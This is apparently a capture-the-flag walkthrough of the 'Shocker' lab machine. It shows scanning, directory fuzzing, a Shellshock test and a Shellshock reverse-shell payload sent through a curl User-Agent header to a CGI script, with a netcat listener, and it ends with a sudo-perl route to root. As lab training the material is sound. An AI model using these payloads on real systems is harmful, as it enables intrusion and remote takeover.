## Shocker (SOLVED)

We start by doing an Nmap scan where two port seem open:

```
sudo nmap -sS --min-rate=5000 -Pn -n 10.10.10.56
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-21 09:28 PST
Nmap scan report for 10.10.10.56
Host is up (0.046s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
2222/tcp open EtherNetIP-1
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
> <u>sudo</u> nmap -sC -sV -p80,22222 10.10.10.56
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-21 09:29 PST
Nmap scan report for 10.10.10.56
Host is up (0.049s latency).
PORT
        STATE SERVICE
                             VERSION
          open http
                            Apache httpd 2.4.18 ((Ubuntu))
80/tcp
 _http-title: Site doesn't have a title (text/html).
  http-server-header: Apache/2.4.18 (Ubuntu)
22222/tcp closed easyengine
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.69 seconds
```

The port 80: HTTP with machine's website

The port 2222: With the service EtherNetIP-1 which is an SSH port

When opening the website nothing looks interesting except the message that says "Bug me!"

As usual we start by fuzzing directories and their files:

```
* Wfuzz 3.1.0 - The Web Fuzzer
Target: http://10.10.10.56/FUZZ
Total requests: 20469
        Response Lines Word
                             Chars
                                     Payload
000000015:
                             295 Ch
                                     ".htpasswd
000000016:
                             295 Ch
000004349:
                             294 Ch
                                     "cgi-bin/
Processed Requests: 20469
Filtered Requests: 20465
Requests/sec.: 0
```

cgi-bin directory is forbidden but we can still look for files in it.

Testing some possible name scripts we find out that user.sh is there.

In order to solve this machine we start by trying a shellshock attack or Bash Bug (pd: "Bug me!")

We first do a test to see if it works:

```
> curl -sSL http://10.10.10.56/cgi-bin/user.sh -H "User-agent: () { :;}; echo; echo Hwllo Word"

Hwllo Word

Content-Type: text/plain

Just an uptime test script/TPheaders and the HTTP body are separated by an empty line.

12:55:40 up 28 min, 0 users, load average: 0.00, 0.00, 0.00
```

Nice! It looks good.

We only need to setup a reverse shell and a netcat listener:

```
> curl -sSL http://10.10.10.56/cgi-bin/user.sh -H "User-agent: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.136/1234 0>&1"
> nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.136] from (UNKNOWN) [10.10.10.56] 42766
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ whoami
whoami
shelly
```

We get a shell as shelly and start by trying basic privesc paths:

## Check sudoers perms:

We see that perl is allowed as sudo without password so we only need to execute a shell as root via perl and we ROOT the machine!